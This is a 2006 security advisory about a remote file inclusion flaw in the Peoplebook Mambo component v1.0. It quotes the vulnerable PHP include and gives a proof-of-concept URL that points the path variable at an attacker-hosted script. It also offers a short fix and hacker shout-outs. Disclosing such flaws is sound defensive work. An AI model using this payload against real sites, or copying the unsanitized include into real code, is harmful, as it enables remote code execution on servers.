Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13898
HistoryAug 15, 2006 - 12:00 a.m.

Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities

2006-08-1500:00:00
vulners.com
59

Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities

Author : Matdhule
Date : August, 14th 2006
Location : Indonesia, Jakarta
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
....
&lt;?php

if &#40;file_exists&#40;$mosConfig_absolute_path.&#39;/components/com_peoplebook/languages/&#39;.$selected_lang.&#39;.php&#39;&#41;&#41; {
   require_once &#40;$mosConfig_absolute_path.&#39;/components/com_peoplebook/languages/&#39;.$selected_lang.&#39;.php&#39;&#41;;
}
else {
   require_once &#40;$mosConfig_absolute_path.&#39;/components/com_peoplebook/languages/english.php&#39;&#41;;
} 
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in param.peoplebook.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :&#41;
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ] ----------------------------------